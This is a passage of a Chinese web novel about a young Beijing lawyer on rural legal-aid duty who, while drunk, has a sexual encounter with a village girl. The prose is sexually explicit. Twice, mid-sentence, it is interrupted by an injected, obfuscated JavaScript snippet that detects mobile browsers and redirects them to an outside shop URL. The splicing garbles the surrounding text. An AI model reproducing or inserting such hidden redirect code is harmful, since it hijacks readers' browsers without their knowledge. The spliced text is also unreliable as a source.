《小土狗和白富美GB》 1. 邪恶假玩具 在华国的西南大省,从甘孜县到色达县的路上,有一座莲花生大士神山——东廓神山。 神山平均海拔超四千米,周遭连绵的雪山似巨大的屏风挡住山外的一切资源,再加上一条边界线的圈围,甘林县的莲花村,就坐落在井底。 而就在这样一个村庄的村道上,停着一辆顶配保时捷帕拉梅拉。 裴凌一边拿着手机打电话,一边在身上摸索车钥匙。也不知电话里的人说了什么,他语气有点不耐烦: “我办不了,也懒得办。再说九位数的大项目,大家不得抢着上,客户又不是非我不可。” 电话里的人继续游说了几句,裴凌依旧不为所动:“王律,你不会以为我在祖国的西南高原骑着马到处游山玩水吧,我既要到乡政府坐班调解东家长西家短,又要到镇里中学充当支教老师,跟十几岁的熊孩子打成一片,累得要死。哪还有多余的精力去做并购案?” 对方还想劝两句,裴凌打断:“不说了,刚和法院的同志们开了会,我现在还没吃饭呢。” 说完,他当真挂断了老板的电话,准备开车到镇上去吃午餐。 中午十二点半,又逢赶集日,裴凌连人带车吸引了无数目光。 裴凌是国内T0级红圈律所的知名律师,今年才二十六岁。外貌之锋锐华丽,千言万语难以诉说。 要用一句话来概括,那就是法拉利的长相,迈巴赫S级的气场。 16岁的京市高考状元,北大本科,斯坦福硕士,无论在哪里入职都顺遂体面。在高盛工作两年后,裴凌回国当律师,主攻跨境并购与反垄断——这让他的国家科学院院长父亲、工程院院士母亲非常不满。 对一般人来说最好的出路,对裴凌来说却是叛逆之路。 他这种如假包换的太子爷,应该从政或搞学术科研,最不济经商。但就这一个宝贝儿子,爹妈好说歹说劝不动,也就暂且纵容他去了。 进入律所后,裴凌做人低调,做事秉持一贯雷厉风行专业高效的作风,在摩根大通牵头央企收购欧洲半导体公司的大项目中,两天时间完成千页中德双语卷宗的复盘,不仅精准揪出标的公司三份隐藏关联担保协议,还在欧盟反垄断听证会上,预判审批问询要点,让客户企业一次性通过备案。 这案子完成之漂亮,是可以写进教科书的级别,裴凌也彻底声名鹊起。 此时距离裴凌刚进律所,只有一年。 虽然他很年轻,但他这功绩履历,升个权益合伙人是不在话下了。谁知这时一盆冷水给裴凌兜头泼了下来:他输给了各方面都挨不着他边儿的秦律师,没能成为新合伙人。 裴凌稍微打听,就知道了秦律师他亲姐有“沪上皇”的豪名,是律所的隐形大股东,所以对于这个结果,他虽然失望,但尚能表示情绪稳定。 但接踵而来的另一件事,让裴凌受到一万点暴击的心是彻底无语了。 家里人给他介绍的门当户对的联姻对象陆灵昀,仅仅出差一周,就与一个“志趣相投”的美国青年堕入爱河,现在立刻要赴美结婚。 裴凌本来是不想再跟陆灵昀见面的,但她反复邀约,说有重要的话告诉他。 最终裴凌应约而至。 饭桌上,陆灵昀表情复杂。郑重,歉疚,除此之外还有一丝不舍。 “Callen,我并非朝三暮四的人,但我们两个确实卯榫不合,希望你能理解。” 裴凌蹙眉,卯榫不合?他俩还在培养感情的阶段,连手都没拉过,怎么就扯到这个问题上了:“学姐的意思是?” 陆灵昀一时没有回应,沉默地打量着裴凌。 不得不说,这男人的品位还是一如既往的好。高定西装万国表,肩宽腰细大长腿,工作时那张冷淡专业的脸,丢到dom池里淘一万遍也是顶级到不能再顶级的存在。 想起在斯坦福读书的时候,她和裴凌还不熟,但那时他就已经是风云人物,想勾搭他的男男女女可以排到金门大桥去。眼下这家米其林餐厅里,暗中窥探他的目光也没断过,要不是看她在这儿,少说得有四五个人按捺不住,来要联系方式了。 再加上无匹的家世,过人的才华……裴凌真的很完美。 但这样的男人往往都是很高傲的。 他甚至高傲到连她为什么出轨破坏婚约都懒得质询,更别提接受她的四爱请求。 她和他注定是成不了的。 思及此,陆灵昀下定决心,主动坦承:她是一个四爱女。 裴凌听了之后,只微微惊讶了一瞬。 他这个圈层的人,什么稀奇古怪的花样没听过见过,只是他没想到陆灵昀外表看起来文文静静的,原来好这口…… 回家的路上,裴凌坐在迈巴赫的后座,默默心想: “Pegging?Role reversal?哼,我是一个直男。尽管我尊重任何人的生活方式,但我绝对不可能被任何人碰后面。” 裴凌不在乎陆灵昀,也不在乎她为什么要凿人屁股,以及凿的屁股的主人是谁——废话,他犯不着跟莫名其妙的人去雄竟,更何况他自信没人比得过他。 但不得不承认的是,他感觉到十分郁闷。 他条件优渥,成长过程一帆风顺,从小到大备受优待,但这并不意味他有恋爱经验。 裴凌家教严格,家风清正,做律师其实已经是他干过最叛逆的事了。自从知道要与陆家联姻,他更是有意识地不与其他女性过多接触。这是他的原则也是傲骨,魅力其实不需要通过有丰富两性经验来证明。 因此,说出去估计没人会相信,他这个条件,直到现在还是个纯粹的处男…… 怀着一股淡淡莫名的情绪,上个月末,裴凌突然被大老板叫到办公室。连大老板都看出他心情不好了,跟他谈起京市司法局和律协动员红圈所骨干律师下乡,援助偏远地区法治建设的事,让他考虑考虑,就当出去散散心。 裴凌思索片刻就同意了。 他觉得自己的状态确实不太好,虽然不至于影响专业水准,但他也不想用这种懈怠的姿态去面对当事人。 更何况,秦律最近春风得意,在他面前明里暗里秀优越,裴凌担心再这么下去,他会忍不住给秦律一点颜色看看了。 三天后,裴凌和自己的助理律师小周一起到了蜀川。 从蓉城下飞机,他俩就和蓉城中院支援地方的法官一起挤高铁,下高铁后又坐上大客车……下了客车还没完,一行人居然又上了突突作响的拖拉机,给裴凌颠得□□,折腾了一整天才到莲花村。 这群法治精英的到来,引起了乡村的轰动。 小周本来就挺崇拜裴凌的,现在他更是彻底拜倒于他的西装裤下。没想到裴凌上对权要名流游刃有余,下对琐碎刁钻的基层事宜也是面面俱到。谈笑间,在裴凌身上你能感受到一股清高自信的强大气场,但又不会自信到自傲,以至于令人生厌。 除了小周,裴凌的魅力四射、善于交际也很快把其他同志折服。可能唯一的问题就是,他每天西装革履地进出于办公室,跟所有人都格格不入——本来一开始大家都是穿西装的,但裴凌搁那一杵,瞬间把其他人都衬得像推销保险的。时间一长,除了法院的同志必须穿制服,大家都默默换上了休闲装。 在镇上的小馆子吃了份炒饭,时间正好一点钟。 裴凌懒洋洋地在街边走着,寻思去买点礼物。 今天他在乡政府开会,商讨的是在莲花乡搞法治宣讲的事。说起来,这事还是裴凌提出的。他跟小周来的第一天,就被镇政府的人请到师资严重不足的镇中学充当任课老师。结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124527|195999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才半个月过去,裴凌就发现好几个女孩子都不来上课,一问说是爹妈不让继续读书,要么去电子厂打工,要么结婚……高中都没毕业的孩子,这怎么行。 不仅是法治机关要做宣讲会,裴凌还打算亲自挨家挨户去了解情况,无论如何得把学生们都叫回来。 当然,要上门拜访,自然得事先准备点礼物才好开口说话。 裴凌抬眼扫了扫街景,几步开外就有家装修得还算规整的超市。 他抬脚走了进去,店里冷清,没什么客人,柜台前,有一个顶着玉米穗般金黄色头发的年轻女孩正专注地捧着手机打游戏,手指飞动,手机里不时传来“Triple Kill”“Quadra Kill”的激昂音效。 裴凌挑挑拣拣,选了一千多块钱的东西拿到收银台前。结账时女孩的眼睛也没离开过屏幕,动作磨磨蹭蹭。 裴凌没催促,安静地站在一旁,低头回了几条微信消息。一束阳光射进来,将他漂亮的剪影倒映在玻璃柜台上。 正要拿上东西走,手腕猛地被人攥住了。 是那女孩。 她惊讶地看着裴凌。 两个人就这么静静地对视了五秒钟。 “怎么了?” 裴凌忍不住想笑。 不为别的,只因为这女孩看他的眼神太好玩了。 惊喜与疑惑并存,见他不为所动,最后居然还慢慢漏出点失望来。怎么回事,他就消费一千多块,至于让她这么百感交集吗? “你不记得我了?” 她悻悻地瞪着大眼睛觑他,手还是舍不得松开。 那副可怜兮兮的模样再加上一头灿烂的玉米穗子……让裴凌想到自家总爱撒娇耍赖的金毛小奶狗。 裴凌云淡风轻:“我们认识?” 听他说完这个疑问句,女孩双眼一弯笑了起来。 不认识? 就这劲劲儿的小京味儿,她化成灰都记得! 没有丝毫的松垮油腻,他这口纯粹自然的京腔,就像一颗颗珍珠,脆崩脆崩落在她心坎里,一听就让她酥掉半边身子。 那天晚上,在她的□□与爱抚下,他就是用这种性感迷人的声音,在她耳边又哭又叫大半宿呢…… 女孩往前凑了凑,眼底闪着狡黠的光,又慢悠悠地重复了一遍: “你怎么可能不记得我呢?” 裴凌的眉头终于几不可察地微皱了起来。 看他还是冷淡模样,她终于急了,把手机倒扣着往边上一放,直挺挺站起身来。裴凌这才发现小姑娘还是个大女孩呢。裴凌有185,她站直了身子以后个头竟然跟他不相上下,这身高在女孩里算天赋异禀的。 她急吼吼比划。 “上周五,宜宾烧烤店!你喝醉了,想起来了吗?” 上周五?那天是裴凌来莲花村的第三天。他心情不好,一个人出去吃宵夜,后来好像确实喝醉了。 再然后…… 裴凌打了个冷战。 意识到了什么惊悚的事,他有些不敢再想下去了。 女孩子弯下腰去翻箱倒柜,叮叮当当一阵乱响过后,忽然把一根不可描述的玩意儿重重地放在了柜台上! “你醉得厉害,还亲了我,然后,你亲自教我用这个把你……”她说着说着,就又不好意思地笑起来,小麦色脸蛋儿上浮现出可爱的红晕,但手上的动作一点儿不含糊,左手圈出一个圈,右手伸出食指,往那个圈里利落地一进一出,“从晚上十点到三点,你去了大概有三、四次?最后你都哭了,想起来了吗。” “……” 一霎时,裴凌只觉天旋地转。 回忆如狂潮从四面八方卷涌而来,那些个令人脸红心跳,激情四射银乱不堪的画面,在他脑海中终于一幕幕浮现。 2. 拖拉机猛撞法拉利! 客观来说,莲花乡一带风景优美壮丽,文化积淀厚重,多民族和谐共处,是个净化心灵的好地方。 主观来讲,刚刚到的那两天,裴凌的心情始终郁郁寡欢。无聊的乡村生活,让他对什么都提不起兴趣,东一榔头西一棒槌的鸡零狗碎,更是让他心头的躁郁之情愈发深重。 那天小周不在,裴凌一个人在宿舍里坐不住,只好出去走走。 夜晚的乡村非常安静,神圣的雪山在远方散发着亘古不变的清光,村民们的住处不密集,窗户里的灯儿这一点,那一点,在夜色里如星辰寥落。不时传来两声牦牛叫唤,更显阒寂。 裴凌一路步赏乡村夜景,就这么慢慢走到了镇上的夜市。 他见一间烟雾缭绕的烧烤店比较红火,也就跟着人流,在路旁的塑料条凳上坐下来。 说是烧烤店,其实就是个路边摊。火炉在店门与布蓬的衔接处,中年老板站在炉子后,一手翻烤着快要半熟的牛肉串,另一只手伸到一旁,打开音响,播放起刀郎金曲《冲动的惩罚》。 老式设备有些发潮,戴着鸭舌帽的刀郎在淡绿的屏幕里声嘶力竭。 沧桑深情的歌声里,裴凌点了一桌子烤串,又要了一瓶白酒。 这要是在美国,他是绝对不会放任自己一个人在外面喝烂酒的,但祖国乡村这种土土的氛围里,他非常安心。 喝醉就喝醉吧,难道还会发生什么吗。 陶渊明说“泛此忘忧物,远我遗世情”还是古人有智慧。一杯接着一杯忘忧物猛猛灌下去,裴凌西装纽扣解开了,领带扯松了,连日郁结的心情舒缓许多,连心境都开阔不少。 其实早就该看开了,这些小小挫折,根本算不上事儿。如果他还要继续无病呻|吟下去,那才是真正的矫情…… 正当裴凌自顾自散发文艺气息时,镇子与莲花村连接的大路口,突然由远及近炸响起一阵狂烈的摩托声。 七八个头发染得五颜六色的杀马特非主流,骑着鬼火遥遥疾蹿而来——这下配上《冲动的惩罚》,真特喵让裴凌梦回二零零八了。 裴凌对车也算略有研究,很明显他们□□的廉价摩托经过不合规改造,油门的轰鸣声异常,刹车碟发出将死未死的刺耳刮拉声,减震系统的零件大概率也拆掉了,车身颠簸得厉害,还被这群半大的崽子操控得张牙舞爪,在坑洼的村道上碾出滚滚尘土。 这家店简陋,裴凌又坐得离大路很近,他的耳膜炸得突突直响,感觉车轱辘下一秒就要碾到他脸上。 如果他们赶紧走,裴凌忍一忍也就算了,偏偏小黄毛们一个个像猴一样大呼小叫死活不走,还在这儿表演起了鬼火杂技。 老板对着身旁的食客低声念叨:“又是这帮街溜子,天天晚上来飙车,吵得人不得安宁,也没人敢管……” 说话间,裴凌已经忍无可忍。 他把最后一杯白酒饮尽,两手一拍大腿站起身,众目睽睽之下,朝着欢呼不已的杀马特非主流们走去。一群小碎催的,年纪轻轻不干点正事儿,净惹人嫌。 精神小伙小妹们正幕天席地载歌载舞,场面欢乐堪比吉吉王国。冷不丁一个西装革履的高大神秘男毫不客气地挤进了他们的聚会,画风一下子变得不对劲,再一看这西装男醉意熏熏,估计是来找事了。 于是刚才的欢声笑语歇散,带着警惕与挑衅的目光,慢慢聚焦在裴凌身上。 气氛凝固,空气中似乎有火药味儿,一点即发。 在这些宛如实质的恶意眼光中,裴凌像只漂亮的黑鸢落进了狼群——呵呵,就算是狼,也顶多是群狼崽子,这场面对裴凌来说压根不够看的。 他气定神闲,姿态淡然:“几点了,还在这儿扰民?” 这一张嘴尴尬了。 裴凌发现自己的如簧之舌因为醉酒有点打结,显得气势不足。 一个声音清亮的女孩子嗤笑: “我说你这老叔,都喝高了,还不赶紧回家躺着,在这里管什么年轻人的闲事?显着你了?”这女孩说完,她的伙伴们全都跟着笑了起来。 裴凌这时背对着女孩,她看不见他的脸,只能合理推测这是个身材巨好的老毕登——在她们的认知里,四五十岁的中年人才会拾掇一身西装,年轻哥们儿谁闲着没事穿这种装X的衣服? 裴凌淡定地转过身去。 两人就这么四目相对。 女孩子的眼睛,在看见他脸的瞬间就睁大了:“我去……” 裴凌也看清了这女孩的模样。 她顶多二十岁上下,眉目英气清爽,一头金色长发呈现出美利坚总统特氏的玉米穗质感。盗版的“Abidas”外套袖子卷起,小臂肌肉带着股虎豹腾跃的野性美感与力量波涛,手指夹着根香烟,眼睛一眨不眨,呆呆地盯着他。 他径直走到她面前,懒洋洋探手,夺下她指尖的廉价香烟,缓缓吸了一口: “老叔?” 女孩心跳加速,没成想下一刻,他就漫不经心说道, “法拉利再老也是法拉利,拖拉机再新也只是拖拉机。论整车配置、提速性能、行驶平稳性,甚至是你最在意的显摆劲儿……从根上都不是一个量级的。所以小妹妹,带上你这帮狐朋狗友,哪儿凉快哪儿待着去,别在这儿给你老叔我添堵。” 旖旎的氛围立刻消散到无影无踪。 女孩子本来直愣愣瞅着他的眼神也变了,脸上红一阵白一阵: “你说啥?” 一个蓝色锅盖头精神小伙儿在旁边适时添了一把火:“小满姐,我觉得他是在嘲讽咱们是土包子拖拉机呢!” “你都可以听懂,我能听不懂啊?”她咬着后槽牙跳下鬼火,一把揪起裴凌的领口,“你想挨打?” 裴凌惊觉这小妹妹不仅个子高大,而且手上也是真有一把好力气。 他不怒反笑,继续拖着软绵绵的醉腔讥诮: “噢,看样子还是台会撞人的暴力拖拉机。” 他爹的!王小满真是气坏了。这么一个大帅哥嘴怎么那么讨厌?还有,他干嘛老是揪着拖拉机不放,好好的拖拉机招他惹他了! 刚刚那个拱火的蓝毛悄悄对王小满说:“姐,怎么办?” 怎么办?凉拌炒鸡蛋!她现在就要给他一点颜色看:“老叔,咱们也别光打嘴炮了,不爽我们就来打一架。” 一听小满要跟这神秘西装男约架,杀马特非主流们都开始起哄。 别人或许不知道,他们却比谁都清楚,且心服口服。论打架王小满的本事是横扫千军的女中赵云,大概率体校的和一般当兵的都不是她的对手,这哥们儿惨了。 “打架么……”裴凌脸上仍带着山樱般酒醉的酡色,手掌覆上女孩揪着他领口的手,“可以啊。就你我,两个人。” 女孩低眼瞥他的手,呼吸又开始急促起来。 她的皮肤是天生的小麦色,受高原阳光砥砺,平时还要干农活,跟这帅老叔雪白修长的玉手形成惊人的肤色差。 天啊。 怎么会有男人连指尖都是粉的。 小满忍不住嘴角斜斜挑起:“想单挑啊,单挑就单挑呗,看你这可怜模样,我也真不忍心欺负你。” 裴凌糊里糊涂心想,邪魅狷狂的笑容,果然还是只适合出现在这样漂亮英气的妹妹脸上。 他将小满攥着他领口的手扯下来牵着,大长腿一甩,往烧烤店后面的小溪走去。 “这是干啥,”小满心里对他的力气有点数了,比一般男人厉害得多,但还是比不过她。她乐滋滋的,没想甩开他的手,说道,“打个架你还要到处看风水场地?” 裴凌低笑,性感撩人的声音就像大提琴的嗡鸣,让小满心里一阵荡漾。 “你要是害怕,可以叫上你的小伙伴陪你。” “蛤?!”她不屑地回头招呼她的小弟小妹们,“你们都给我老老实实在这儿等着,都不准过来!” 蓝毛还是非常关心小满的:“姐,我们去烧烤店里等你!要是这西装男有阴招的话,你就大声叫我们!” 她比了个“ok”的手势。 离开的时候,刀郎正好唱到那句:“如果那天你不知道我喝了多少杯,你就不会明白你究竟有多美……我也不会相信,第一次看见你,就爱你爱得那么干脆!” 小满一路任裴凌牵着她的手,走到静静的小河边上。 四周是高大的云杉和及踝的小草,草甸里星星点点的格桑花盛放,粉白紫的花瓣沾了夜露,在朦胧月色下泛着温润的光。不远处的河水清澈见底,映着高原垂落的银河,碎银似的波光,随着水流轻轻晃动。 裴凌突然轻轻把小满推在巨大的云杉木上。 此时此刻,天上的星河是唯一的光源。 小满看着近在咫尺的裴凌,默默倒吸一口冷气……虽然她即将要揍他,但不得不说,这是一个很漂亮很英俊的男人。因为喝醉,被精心雕琢的五官显得有些妩媚可欺,但他眉梢眼角的倨傲又足以让人不敢接近。毓秀泠然,正似东廓神山之巅的霜雪。 以鼻梁为界,他一半脸隐藏在阴影中,眼神迷离,表情难以确认。 小满等了半晌,才低声说:“老叔,我们可以开始动手了吗?” 裴凌微微一笑,稍稍凑近她。纤薄挺立的鼻峰像被打磨的艺术品,几乎要顶上她同样高挺,但稍显圆润可爱的鼻峰。 齿间轻柔溢出一个单音节:“嗯……” 然后他下巴往前一抬,毫不迟疑吻上女孩的唇瓣。 呼吸纠缠,又缠绕成结,仿佛蚕蛹织成的网,将他们与世界隔绝。 她清晰地感觉到,他柔软而温暖的嘴唇在她的唇上辗转、轻嘬,最后慢慢离开。 这分明只是一个热情又轻柔、试探又撩拨的吻。但一瞬间,她瞳孔深处就被月亮牵引起了两万米的潮汐,然后再破碎、炸裂成一小朵一小朵的浪花。 小满呆呆地看着裴凌…… 我嘞个豆,说好打架的,他怎么用舌头狂甩她的嘴唇啊!架不是这个打法啊! 这还没完。 眼见小满根本没有任何拒绝的意思——实际上,她心底确实也不想拒绝,他便再度吻上来。 一吻既毕,王小满与裴凌都气喘吁吁。 她拉开他,凝视着他明亮的眸子:“你知道在干什么吗?” 这话一出口,小满都绷不住想笑。言情小说里,面对热情大胆的女主角,问出这种话的都是深情自制的霸道总裁。但在他俩这儿是反过来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124528|195999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴凌语气低沉蛊惑:“在勾引你啊。” “我操……”小满心里更痒了,而且还又燥又热。 她像掳掠似的,反身发力将他摁在树干上,占据主动权,细细亲吻啃噬着他每一分优美的唇形,撬开他的嘴唇像撬开一只漂亮的蚌,舌头汹涌直入,裹咬住男人灵活又调皮的舌,狠狠又唆又吸。 小满在大专读书的时候,其实也交过几个男朋友。但她跟每一任男朋友都最多发展到牵牵小手、极偶尔抱抱贴个小嘴的地步——当然会有狗胆包天的男的想要更进一步,结果毫无疑问都是被铁拳制裁。 在这一刻之前,小满一直觉得自己是不能接受和男人发生真正亲密行为的。 现在却突然从天而降一个骚老叔,仅仅用一个蜻蜓点水的吻,就换来她八十座火山一齐喷发,喷出窜天的火焰。 他好香。 除了极淡的玫瑰酒香和烟草气息,他身上还有一股类似于栀子花的香气。 是体香还是香水?她也不知道。她蛮横不讲理地扫荡着他的唇齿口腔,几乎要掠尽他的呼吸,再用自己的气息去填满他。 “嗯……这么粗暴干什么?” 裴凌无奈地轻叹。 他伸出右手按住她的后颈,开始主导这场更像是撕咬的接吻,把她的舌头卷起来,像吸果冻那样轻轻吮吸拉扯。 到最后,他上半身的重量几乎都倾在了小满身上。小满太过激动,两人的唇瓣分开时拉开一道淫靡的银丝,他用舌尖给她舔得干干净净——这种类似于被小猫舔舐的轻柔酥麻感,让女孩毫无防备的低吟出声。 “舒服吗?” 裴凌邪恶地笑了一下。 她和他的距离太近了,一旦说话嘴又要碰到一起……她努力表现出一副振振有词的模样:“我、我们是来打架的,你还记得吗!”她嘴上这么说但就是舍不得推开他。 “好,我今天就教你打一种很新的架。” 裴凌脑子昏昏沉沉的,也管不了那么多了,拉着女孩就往镇子的右街道走。 他来的时候扫过一眼,那里应该是有一家民宿还是旅馆。 眼看小弟小妹们就要被甩在身后,小满问他:“去哪啊?” “找地方打架。” 小满看裴凌走的方向,影影绰绰明白了什么:“……你都醉成这样了,能办事吗?还是说你在装醉?嗳,别光顾着走,说话。” 小满拉他一把,没想到他浑身骨头都是软的,被她扯得直接往后一飘。 她眼疾手快把他接住,他的侧脸顺势枕在她的肩膀上,清新的鼻息暖融融扑在她裸露的皮肤处。 她两手握着他窄窄的腰,心里刺挠挠地发痒。 这骚老叔,全身上下都肌肉流畅紧实,只有屁股饱满绵润,哼,大概率是坐办公室坐出来的吧。 他被她搂在怀里,也不挣扎,只用笑眼乜斜她:“大家都是成年人,你要是不想去就走人,反正我又不会吃了你……” 他的声音缥缈,有点懒洋洋的。 也许是醉的,也许他就是故意的。 小满深吸一口气,突然把他拦腰抱了起:“谁吃谁还真不一定。”当她听到自己声音低沉地说出这句话时,整个人就被电打了一样,心头闪过诡异的快意。 这老叔打不过她,大街上的人又都是乡里乡亲,如果他想拐卖她,或掏她腰子啥的,她自信完全能应付——只要生命安全没问题,别的事该发生的就让它发生吧……她没什么可怕的。 这么一想,她把自己彻底说服了。 裴凌被她用一种妥妥的公主抱姿势锢在怀里,忍不住哼笑:“你抱我干什么?” “你慢悠悠的,什么时候才能到民宿。” “这么急?” “我是怕你摔了。”王小满含含糊糊的,不好意思说是怕小弟小妹们看见自己跟老叔开房去了…… “你这把好力气不去考警校真是可惜。” 她嘟囔:“我倒是想,可我考不了公啊。” 这之后二人没再说话,耳边只有小满的运动鞋踩在砂石地面上快步前进的摩擦声。 镇上民宿接待的客人大多都是川藏线的游客,这些年路网越来越发达,经过莲花村国道的人少了许多,所以登记非常草率。 只是前台小姐看着王小满抱着一个身高腿长的大男人,跟抱媳妇儿入洞房似的走进来,还是愣住了。 小满这时才把裴凌放下来。 他淡定从容地缴费取房卡,往楼上走去。小满跟他身后,傻了吧唧盯着他腰窝与臀部连接处,那里有一道弧度优美的凹陷——用她当地土话说是“腰翘”,把高档西装西裤的裁剪心机体现得淋漓尽致。 或许不是衣服的功劳吧,而是穿衣服的人条件太炸裂了,她很难想象他这种身材,穿什么衣服会不好看。 是的,她已经在脑子里模拟裴凌穿各种衣服的场面了。 小满后脚进房间,把灯给打开,但裴凌立刻反身将她压在门上,顺便把灯光熄灭。 “最后给你一次机会,”一片阴翳中,他几乎是要贴上她的耳际,“我数到三,如果你再不走,我就真的要跟你做.爱了。” “一。” “二。” 3. 拔臀无情 小满感觉自己的小腹处似乎有一团火在燃烧,但男人带着喑哑笑意的“三”没有出现,接踵而至的是一个干柴烈火的吻。 二人缠绵在彼此的怀抱中,炽热的亲吻如热焰烘烤,她的唇齿被他占据,以至于连话都抖擞不清:“你、你怎么不数到三?” “男人的劣根性在于一旦被情欲占据了脑子,他就只会被本能驱使。所以这时候他说的话都是假话,不可以相信……”裴凌在她鼻尖上轻轻一吻,“记住了吗,小妹妹。” 小满被他亲得都快爽疯了,连连点头,心想随你怎么说吧。 “去躺下。” 裴凌对王小满一颔首,小满就依照裴凌的话把自己丢到圆床上摆出一个“大”字。她搁那儿傻乐的时候,裴凌在这间情侣大床房置放小玩具的柜子里掏出一个塑封着的盒子。 里面的东西沉甸甸的,他三下五除二拆掉包装,做好赛前准备后拿过去给小满戴上。她几乎不敢相信自己的眼睛,一个穿戴式的……假、假勾把?! “这什么情况?” 裴凌:“不是说了,要教你打一种很新的架吗。” 小满眨了眨眼,看着裴凌坦荡又勾人的表情。 我操,不好。 好像更兴奋了,怎么办! 裴凌走了过去,女孩宽松的工装运动裤被他轻轻松松褪下,展现出两条巴西超模般奔涌着青春气息的蜜色长腿。裴凌为她穿戴好假玩具,小满居然感觉这玩意儿就跟她天生的一样合套。 因为新奇体验的激动,她的两条腿大敞着,在冰冷的空气中微微颤抖,裴凌半蹲在她的腿间,握着她的双膝,在她的腿根处留下安抚性的细密轻吻。 当他这么做的时候,优雅贵气的CL红底皮鞋就抵靠在她沾满泥土的廉价运动鞋边。 “我去……” 她爽到想仰天长啸,踮起脚尖不停用脚后跟磨蹭裴凌的小腿,似乎要左右包抄,把皮鞋的主人拢进自己的包围圈。 从她的视角看过去,裴凌五官精致的脸就贴在她的大腿侧边。那种剑眉星目,意气风发的模样,偏偏眉宇间还有一种柔媚莞尔的慵懒神态,就像一轮新出世的太阳,眩得女孩眼前闪过纵纵白光。 他肤色雪白,身高腿长,比例完美。肩膀平直且足够宽,肩头微微隆起,体型修长瘦俏,肌肉线条非常漂亮性感。西装裤半落不落挂在胯骨上时,那截柔韧的细腰展露无遗。 裴凌低喘着,纤长的指尖轻轻抚弄她的腰胯:“如果我坐上来的话,你受得住吗?”毕竟他是个身高一米八多的大男人,还是担心没收住力的话压坏她。 “笑话!”这精神小妹气壮山河,猛地伸出手握着他的腰,那块微微突出来的腹外斜肌,就像天生的握把,勾引人去掐着驰骋,“别说你坐上来,你要我把你抱着那啥我也绝对没问题啊!” 裴凌嘴边噙着靡靡的笑意,被她直白的话逗笑了:“好啊……”他tomford的西装外套已经掉在了地上,衬衫也只剩下一半耷拉在肩头,低下头捧起女孩的脸,温柔地亲吻她,齿间喃喃道,“来吧,襙死我,嗯?” …… 裴凌这下全都想起来了。 “我只是为了助兴,用了个夸张手法,你怎么当真了呢。” 小超市的收银台前,裴凌扶额。 这小家伙真跟怼阶级敌人一样,像赵云在长坂坡七进七出一样,往死里弄他。他一点也不想面对玻璃柜台上那根该死的玩具,干脆把脸转向大门外,“而且我都求饶了,你怎么不听话?” 王小满无辜地眨巴着大眼睛。 她承认,那一天晚上,当裴凌说出那句话后她的心就彻底乱了,箍着裴凌的腰就没松过手。一开始,这男人还大胆挑衅,勾人夺魄,像个不知天高地厚的水妖精,但几个回合后,他也就丢盔弃甲。 他哭得睫毛都湿漉漉的,喉头那止不住冒出来的单音节被她用红色领带堵住,变奏成美妙的哀鸣。 到最后,他知道求饶没用,也就放弃了抵抗,任她予取予求。变得驯顺,像只小猫,但是那种最烧的小野猫,摆什么姿势都悉听你便,关键每个姿势都能把他弄得连哭带喊。不应期的时候,他还会气息奄奄趴在女孩怀里,伸出淡粉的舌尖,细细地、一点一点舔舐她肌肤上的汗液,刚见面时那种桀骜不驯,漫不经心的模样荡然无存。 凌晨四点的时候,她才偃旗息鼓,把几乎不省人事的裴凌搂到怀里。 小满记得那时她一点儿睡意也没有,只想盯着裴凌看。她虽然文化水平贫瘠如吐鲁番盆地,却也清楚“美丽”用来形容男人得慎之又慎。 但当她看着裴凌,脑子里只能想到这个词。 而这样的大美人,正乖乖躺在她的怀里呢。 小满感觉自己倒霉这么久,终于遇到好事了。原来她不是不愿意和男性亲密接触,只是没有遇到正确的人,没有用正确的方式。这种“女上男下”的亲密体验让她感到无比满意——毫无疑问,这给她打开了新世界的大门,而且她确信这就是她最想要的。 总而言之,在她的心中,和老叔的这次欢愉体验,就像瓦特发明蒸汽机奠定了工业革命的基础一样,奠定了她与老叔永不可改的恋人关系。 她单方面宣布,从今以后老叔就是她的老婆了。 “嘿嘿。” 她把他搂紧了猛啵两口。 尽管小满想一直在这里陪他到醒来,可大概率是她把他折腾过了头,早上七点他还睡着,她也舍不得叫醒他,更何况地里的玉米青稞还等着她去收呢,只好把自己的联系方式写在纸上,放在了床头柜。 大概率他醒了看见就会联系她了吧。 她这么想着,结果忙活了一早上,十点带着早餐回到民宿里时,男人不见了,她放在床头的纸条连位置都没动过。 昨晚开房报的是她的身份证,她连老婆叫啥都还不知道呢! 拔剑四顾心茫然,小满只好顺走假勾八——呃,这东西进过老婆的身体勉强也算他俩的定情信物了吧,不能被任何人碰…… 懵懵懂懂地过了一周,她都没打听到他的消息。奔走在混社会第一线的精神小妹王小满花手不想摇了,快手视频不拍了,鬼火不飙了,架也不约了。每到夜晚,就失魂落魄地躺床上,先是咂摸裴凌的迷人情态,再到梦里跟他干个四五回。 直到现在。 小满看着活生生的裴凌立在自己面前,那副冷峻淡漠,和她记忆中判若两人的样子,忍不住询问:“你那天难道不爽吗?” 裴凌默然。 怎么可能…… 不爽呢! 虽然他鬼神神差在阴沟里翻了船——直到现在,他也说不清楚自己那天喝醉了干嘛要去勾引人家小满,导致人生中第一次杏体验居然是被小女孩用假玩具狠狠……但他体会到的直男几乎不可能体验到的前列腺震撼,那种锐利轰鸣,死去生来,确实是无可否认的真材实料。 裴凌轻轻喟叹。 